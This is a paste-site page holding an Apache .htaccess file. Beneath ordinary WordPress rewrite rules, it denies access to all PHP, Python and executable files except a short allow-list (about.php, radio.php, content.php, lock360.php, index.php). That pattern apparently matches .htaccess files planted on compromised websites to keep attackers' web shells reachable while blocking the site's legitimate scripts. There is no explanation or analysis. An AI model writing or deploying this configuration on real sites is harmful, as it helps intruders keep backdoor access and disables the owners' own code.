SaveText.Ru

.htaccess
  1. <FilesMatch ".(py|exe|php)$">
  2.  Order allow,deny
  3.  Deny from all
  4. </FilesMatch>
  5. <FilesMatch "(about.php|radio.php|index.php|content.php|lock360.php)$">
  6.  Order allow,deny
  7.  Allow from all
  8. </FilesMatch>
  9. <IfModule mod_rewrite.c>
  10. RewriteEngine On
  11. RewriteBase /
  12. RewriteRule ^index.php$ - [L]
  13. RewriteCond %{REQUEST_FILENAME} !-f
  14. RewriteCond %{REQUEST_FILENAME} !-d
  15. RewriteRule . /index.php [L]
  16. </IfModule>

Share with your friends:

Print